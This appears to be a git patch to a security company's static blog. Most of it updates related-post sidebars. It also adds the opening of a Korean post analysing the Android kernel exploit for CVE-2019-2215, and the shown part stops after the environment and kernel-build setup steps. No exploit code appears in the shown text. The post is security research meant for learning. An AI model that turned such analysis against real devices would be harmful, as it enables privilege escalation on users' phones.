From 59b77861db8d45be018d32ae28227a9b8fa5fde5 Mon Sep 17 00:00:00 2001 From: pwn9uin Date: Mon, 11 Mar 2024 00:48:04 -0700 Subject: [PATCH] Mon Mar 11 00:48:04 PDT 2024 --- docs/2020-04-12/Introduce.html | 24 +- docs/2020-04-13/CVE-2020-0674.html | 24 +- docs/2020-06-18/Deeplink.html | 24 +- docs/2020-07-17/iOS.html | 24 +- docs/2020-08-20/cgi_exploit.html | 24 +- docs/2020-09-24/bug_hunting.html | 24 +- docs/2020-10-29/can_bus_1.html | 24 +- docs/2020-11-16/japanese_app_security.html | 24 +- docs/2020-11-25/audio_lib_exploit.html | 24 +- .../javascript-prototype-pollution.html | 24 +- docs/2021-01-27/metasploit-ctf-review.html | 24 +- docs/2021-02-07/Gnuboard-RCE.html | 24 +- docs/2021-07-29/malwareAPK.html | 24 +- ...yAdmin-Reflected-Cross-site-scripting.html | 24 +- docs/2021-10-13/MikroTik-PostAuth-RCE.html | 24 +- docs/2021-12-07/Metasploit-CTF-Review.html | 24 +- docs/2022-03-15/dirtypipe-review.html | 24 +- .../ronin-bridge-vuln-analysis.html | 24 +- ...root-your-routeros-v7-virtual-machine.html | 24 +- docs/2022-06-08/homomorphism-in-rsa.html | 24 +- docs/2022-06-30/pdf-with-react.html | 24 +- .../2022-06-30/stealien-security-seminar.html | 24 +- docs/2022-07-13/llvm-flow-flatten.html | 24 +- .../secure-coding-traing-system.html | 24 +- .../analyzing-django-orm-with-1-day.html | 24 +- ...team-4-operation-castle-ivy-chapter-1.html | 24 +- docs/2023-07-03/django-cve-2023-36053.html | 24 +- .../bughunting-vulnerability-chaining-ko.html | 24 +- ...5\225\264\353\266\200\355\225\231-ko.html" | 24 +- docs/2024-02-05/IoT-TechBlog-ko.html | 24 +- .../Android-1day-Exploit-Analysis-ko.html | 2534 +++++++++++++++++ docs/categories/R&D.html | 24 + ...355\205\234-\352\265\254\354\266\225.html" | 24 +- docs/feed.xml | 2525 ++++++++++++++-- docs/id/2020-04-12/Introduce.html | 24 +- docs/id/2020-04-13/CVE-2020-0674.html | 24 +- docs/id/2020-06-18/Deeplink.html | 24 +- docs/id/2020-07-17/iOS.html | 24 +- docs/id/2020-08-20/cgi_exploit.html | 24 +- docs/id/2020-09-24/bug_hunting.html | 24 +- docs/id/2020-10-29/can_bus_1.html | 24 +- docs/id/2020-11-16/japanese_app_security.html | 24 +- docs/id/2020-11-25/audio_lib_exploit.html | 24 +- .../javascript-prototype-pollution.html | 24 +- docs/id/2021-01-27/metasploit-ctf-review.html | 24 +- docs/id/2021-02-07/Gnuboard-RCE.html | 24 +- docs/id/2021-07-29/malwareAPK.html | 24 +- ...yAdmin-Reflected-Cross-site-scripting.html | 24 +- docs/id/2021-10-13/MikroTik-PostAuth-RCE.html | 24 +- docs/id/2021-12-07/Metasploit-CTF-Review.html | 24 +- docs/id/2022-03-15/dirtypipe-review.html | 24 +- .../ronin-bridge-vuln-analysis.html | 24 +- ...root-your-routeros-v7-virtual-machine.html | 24 +- docs/id/2022-06-08/homomorphism-in-rsa.html | 24 +- docs/id/2022-06-30/pdf-with-react.html | 24 +- .../2022-06-30/stealien-security-seminar.html | 24 +- docs/id/2022-07-13/llvm-flow-flatten.html | 24 +- .../secure-coding-traing-system.html | 24 +- .../analyzing-django-orm-with-1-day.html | 24 +- ...team-4-operation-castle-ivy-chapter-1.html | 24 +- docs/id/2023-07-03/django-cve-2023-36053.html | 24 +- .../bughunting-vulnerability-chaining-ko.html | 24 +- ...5\225\264\353\266\200\355\225\231-ko.html" | 24 +- docs/id/2024-02-05/IoT-TechBlog-ko.html | 24 +- .../Android-1day-Exploit-Analysis-ko.html | 2534 +++++++++++++++++ docs/id/categories/R&D.html | 24 + ...355\205\234-\352\265\254\354\266\225.html" | 24 +- docs/id/feed.xml | 2525 ++++++++++++++-- docs/id/index.html | 24 + docs/index.html | 24 + 70 files changed, 10630 insertions(+), 1072 deletions(-) create mode 100644 docs/2024-03-10/Android-1day-Exploit-Analysis-ko.html create mode 100644 docs/id/2024-03-10/Android-1day-Exploit-Analysis-ko.html diff --git a/docs/2020-04-12/Introduce.html b/docs/2020-04-12/Introduce.html index a9fbe97..ab49a48 100644 --- a/docs/2020-04-12/Introduce.html +++ b/docs/2020-04-12/Introduce.html @@ -109,22 +109,22 @@

시작합니다

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -133,22 +133,22 @@

시작합니다

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2020-04-13/CVE-2020-0674.html b/docs/2020-04-13/CVE-2020-0674.html index 188d024..20bf293 100644 --- a/docs/2020-04-13/CVE-2020-0674.html +++ b/docs/2020-04-13/CVE-2020-0674.html @@ -513,22 +513,22 @@

Code Execution

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -537,22 +537,22 @@

Code Execution

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2020-06-18/Deeplink.html b/docs/2020-06-18/Deeplink.html index 39be11d..4d40095 100644 --- a/docs/2020-06-18/Deeplink.html +++ b/docs/2020-06-18/Deeplink.html @@ -250,22 +250,22 @@

5. 기타

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -274,22 +274,22 @@

5. 기타

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2020-07-17/iOS.html b/docs/2020-07-17/iOS.html index b79cdc0..075f2dd 100644 --- a/docs/2020-07-17/iOS.html +++ b/docs/2020-07-17/iOS.html @@ -187,22 +187,22 @@

4. 대응 방안

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -211,22 +211,22 @@

4. 대응 방안

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2020-08-20/cgi_exploit.html b/docs/2020-08-20/cgi_exploit.html index 868fc10..195f716 100644 --- a/docs/2020-08-20/cgi_exploit.html +++ b/docs/2020-08-20/cgi_exploit.html @@ -1117,22 +1117,22 @@

끝내면서

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -1141,22 +1141,22 @@

끝내면서

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2020-09-24/bug_hunting.html b/docs/2020-09-24/bug_hunting.html index dec642f..3c18a1a 100644 --- a/docs/2020-09-24/bug_hunting.html +++ b/docs/2020-09-24/bug_hunting.html @@ -279,22 +279,22 @@

복기

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -303,22 +303,22 @@

복기

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2020-10-29/can_bus_1.html b/docs/2020-10-29/can_bus_1.html index 6c20953..eed5b3f 100644 --- a/docs/2020-10-29/can_bus_1.html +++ b/docs/2020-10-29/can_bus_1.html @@ -515,22 +515,22 @@

Epilogue

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -539,22 +539,22 @@

Epilogue

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2020-11-16/japanese_app_security.html b/docs/2020-11-16/japanese_app_security.html index 356bc3f..f4274b8 100644 --- a/docs/2020-11-16/japanese_app_security.html +++ b/docs/2020-11-16/japanese_app_security.html @@ -180,22 +180,22 @@
-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -204,22 +204,22 @@
-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2020-11-25/audio_lib_exploit.html b/docs/2020-11-25/audio_lib_exploit.html index ffb6521..37dd257 100644 --- a/docs/2020-11-25/audio_lib_exploit.html +++ b/docs/2020-11-25/audio_lib_exploit.html @@ -248,22 +248,22 @@

대응방안

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -272,22 +272,22 @@

대응방안

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2020-12-22/javascript-prototype-pollution.html b/docs/2020-12-22/javascript-prototype-pollution.html index 55fae8d..17b98d0 100644 --- a/docs/2020-12-22/javascript-prototype-pollution.html +++ b/docs/2020-12-22/javascript-prototype-pollution.html @@ -293,22 +293,22 @@

결론

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -317,22 +317,22 @@

결론

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2021-01-27/metasploit-ctf-review.html b/docs/2021-01-27/metasploit-ctf-review.html index e9433ad..e736e20 100644 --- a/docs/2021-01-27/metasploit-ctf-review.html +++ b/docs/2021-01-27/metasploit-ctf-review.html @@ -277,22 +277,22 @@

References

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -301,22 +301,22 @@

References

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2021-02-07/Gnuboard-RCE.html b/docs/2021-02-07/Gnuboard-RCE.html index c89f7ba..1f89e30 100644 --- a/docs/2021-02-07/Gnuboard-RCE.html +++ b/docs/2021-02-07/Gnuboard-RCE.html @@ -313,22 +313,22 @@

결론

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -337,22 +337,22 @@

결론

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2021-07-29/malwareAPK.html b/docs/2021-07-29/malwareAPK.html index b4eaf5b..af082f1 100644 --- a/docs/2021-07-29/malwareAPK.html +++ b/docs/2021-07-29/malwareAPK.html @@ -404,22 +404,22 @@

4. 결론

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -428,22 +428,22 @@

4. 결론

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html b/docs/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html index ced760d..b451967 100644 --- a/docs/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html +++ b/docs/2021-09-02/CVE-2020-26934-phpMyAdmin-Reflected-Cross-site-scripting.html @@ -171,22 +171,22 @@

패치 내역

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -195,22 +195,22 @@

패치 내역

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2021-10-13/MikroTik-PostAuth-RCE.html b/docs/2021-10-13/MikroTik-PostAuth-RCE.html index e629166..082c173 100644 --- a/docs/2021-10-13/MikroTik-PostAuth-RCE.html +++ b/docs/2021-10-13/MikroTik-PostAuth-RCE.html @@ -197,22 +197,22 @@

공격 코드

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -221,22 +221,22 @@

공격 코드

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2021-12-07/Metasploit-CTF-Review.html b/docs/2021-12-07/Metasploit-CTF-Review.html index 4e8b230..6024d61 100644 --- a/docs/2021-12-07/Metasploit-CTF-Review.html +++ b/docs/2021-12-07/Metasploit-CTF-Review.html @@ -574,22 +574,22 @@

Review

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -598,22 +598,22 @@

Review

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2022-03-15/dirtypipe-review.html b/docs/2022-03-15/dirtypipe-review.html index 5db8478..382ac94 100644 --- a/docs/2022-03-15/dirtypipe-review.html +++ b/docs/2022-03-15/dirtypipe-review.html @@ -1003,22 +1003,22 @@

DirtyPipe Review

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -1027,22 +1027,22 @@

DirtyPipe Review

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2022-04-12/ronin-bridge-vuln-analysis.html b/docs/2022-04-12/ronin-bridge-vuln-analysis.html index 8a79ee2..11b3e9f 100644 --- a/docs/2022-04-12/ronin-bridge-vuln-analysis.html +++ b/docs/2022-04-12/ronin-bridge-vuln-analysis.html @@ -203,22 +203,22 @@

정리하며

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -227,22 +227,22 @@

정리하며

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html b/docs/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html index 6eb6482..51dad74 100644 --- a/docs/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html +++ b/docs/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html @@ -226,22 +226,22 @@

Limitation

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -250,22 +250,22 @@

Limitation

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2022-06-08/homomorphism-in-rsa.html b/docs/2022-06-08/homomorphism-in-rsa.html index 994ced6..19803dd 100644 --- a/docs/2022-06-08/homomorphism-in-rsa.html +++ b/docs/2022-06-08/homomorphism-in-rsa.html @@ -476,22 +476,22 @@

결론

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -500,22 +500,22 @@

결론

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2022-06-30/pdf-with-react.html b/docs/2022-06-30/pdf-with-react.html index 96149ae..f93ff10 100644 --- a/docs/2022-06-30/pdf-with-react.html +++ b/docs/2022-06-30/pdf-with-react.html @@ -271,22 +271,22 @@

결론

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -295,22 +295,22 @@

결론

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2022-06-30/stealien-security-seminar.html b/docs/2022-06-30/stealien-security-seminar.html index aa170c1..8873dc8 100644 --- a/docs/2022-06-30/stealien-security-seminar.html +++ b/docs/2022-06-30/stealien-security-seminar.html @@ -226,22 +226,22 @@

Footnotes

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -250,22 +250,22 @@

Footnotes

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2022-07-13/llvm-flow-flatten.html b/docs/2022-07-13/llvm-flow-flatten.html index 953f5e0..01d19a2 100644 --- a/docs/2022-07-13/llvm-flow-flatten.html +++ b/docs/2022-07-13/llvm-flow-flatten.html @@ -290,22 +290,22 @@

전후비교

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -314,22 +314,22 @@

전후비교

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2022-10-04/secure-coding-traing-system.html b/docs/2022-10-04/secure-coding-traing-system.html index 9f757ff..4ae155c 100644 --- a/docs/2022-10-04/secure-coding-traing-system.html +++ b/docs/2022-10-04/secure-coding-traing-system.html @@ -232,22 +232,22 @@

마무리

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -256,22 +256,22 @@

마무리

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2022-12-16/analyzing-django-orm-with-1-day.html b/docs/2022-12-16/analyzing-django-orm-with-1-day.html index b3e5c44..fc9c552 100644 --- a/docs/2022-12-16/analyzing-django-orm-with-1-day.html +++ b/docs/2022-12-16/analyzing-django-orm-with-1-day.html @@ -380,22 +380,22 @@

6. 끝으로..

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -404,22 +404,22 @@

6. 끝으로..

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html b/docs/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html index 541740b..43dbe5a 100644 --- a/docs/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html +++ b/docs/2023-03-19/nite-team-4-operation-castle-ivy-chapter-1.html @@ -449,22 +449,22 @@

Closing

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -473,22 +473,22 @@

Closing

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2023-07-03/django-cve-2023-36053.html b/docs/2023-07-03/django-cve-2023-36053.html index c1817cb..99a84a4 100644 --- a/docs/2023-07-03/django-cve-2023-36053.html +++ b/docs/2023-07-03/django-cve-2023-36053.html @@ -250,22 +250,22 @@

7. 마무리

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -274,22 +274,22 @@

7. 마무리

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2023-07-31/bughunting-vulnerability-chaining-ko.html b/docs/2023-07-31/bughunting-vulnerability-chaining-ko.html index 2c2c5aa..be6ebdd 100644 --- a/docs/2023-07-31/bughunting-vulnerability-chaining-ko.html +++ b/docs/2023-07-31/bughunting-vulnerability-chaining-ko.html @@ -307,22 +307,22 @@

Conclusion

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -331,22 +331,22 @@

Conclusion

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git "a/docs/2023-11-14/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" "b/docs/2023-11-14/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" index f0a041d..8dd119a 100644 --- "a/docs/2023-11-14/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" +++ "b/docs/2023-11-14/Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.html" @@ -716,22 +716,22 @@

4. Outro

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -740,22 +740,22 @@

4. Outro

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2024-02-05/IoT-TechBlog-ko.html b/docs/2024-02-05/IoT-TechBlog-ko.html index 625d0ac..cfac662 100644 --- a/docs/2024-02-05/IoT-TechBlog-ko.html +++ b/docs/2024-02-05/IoT-TechBlog-ko.html @@ -824,22 +824,22 @@

7. 마치며

-
이주협, 이주영
+
Minjoong Kim
- +
- 뉴비들의 하드웨어 해킹 입문기 + Android 1day Exploit Analysis (CVE-2019-2215)
-
뉴비들의 하드웨어 해킹 입문기
+
Android 1day Exploit Analysis by Newbie
@@ -848,22 +848,22 @@

7. 마치며

-
Hyerim Jeon
+
이주협, 이주영
- +
- Android Malware : 사마귀 해부학 + 뉴비들의 하드웨어 해킹 입문기
-
about Roaming Mantis
+
뉴비들의 하드웨어 해킹 입문기
diff --git a/docs/2024-03-10/Android-1day-Exploit-Analysis-ko.html b/docs/2024-03-10/Android-1day-Exploit-Analysis-ko.html new file mode 100644 index 0000000..a9aeb17 --- /dev/null +++ b/docs/2024-03-10/Android-1day-Exploit-Analysis-ko.html @@ -0,0 +1,2534 @@ + + + + + + + + + + +Android 1day Exploit Analysis (CVE-2019-2215) + +Android 1day Exploit Analysis (CVE-2019-2215) | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Android 1day Exploit Analysis (CVE-2019-2215)
+
+
+ + Minjoong Kim +
+
Mar 10, 2024
+
+
+
+
+
+

1. Introduction

+ +

평소에 관심이 많았던 Android 커널 exploit을 공부해보고자 이 게시물을 작성한다.

+ +

취약점은 공개된 Android Kernel CVE인 CVE-2019-2215를 대상으로 분석을 진행했다. 해당 취약점의 경우 다양한 블로그에 취약점 정리가 잘 되어있고, poc 코드와 exploit 코드가 github에 공개된 상태로 존재하기 때문에, 처음 Android 커널 exploit을 공부하는 입장에서 분석이 용이할 것이라 생각하여 이 블로그에서는 해당 취약점을 분석했다.

+ +

이전까지 공개된 취약점 분석에 대해, Root cause 분석부터 exploit까지 도달하는 과정에서 사용된 linux kernel code를 직접 확인하며 그 흐름을 따라가는 것을 목표로 블로그를 작성한다.

+ +

이 글에서 나오는 exploit 코드 및 취약점 정보는 아래 Reference에서 확인할 수 있다.

+ +


+

+ +

2. Environment Setting

+ +

이 챕터에서는 취약점 분석을 위한 환경설정을 하는 방법에 대해 소개한다.

+ + + +


+ +

2.1 Build Android Kernel

+ +
git clone <https://github.com/cloudfuzz/android-kernel-exploitation> ~/workshop
+PATH=~/Android/Sdk/platform-tools:$PATH
+PATH=~/Android/Sdk/emulator:$PATH
+
+cd workshop
+cd android-4.14-dev/
+repo init --depth=1 -u <https://android.googlesource.com/kernel/manifest> -b q-goldfish-android-goldfish-4.14-dev
+cp ../custom-manifest/default.xml .repo/manifests/
+repo sync -c --no-tags --no-clone-bundle -j`nproc`
+
+ +


+ +

2.2 Boot Kernel with Android emulator

+ +
BUILD_CONFIG=../build-configs/goldfish.x86_64.kasan build/build.sh
+
+

/home/ubuntu/workshop/android-4.14-dev/out/relwithdebinfo/dist

+
    +
  • bzImage
  • +
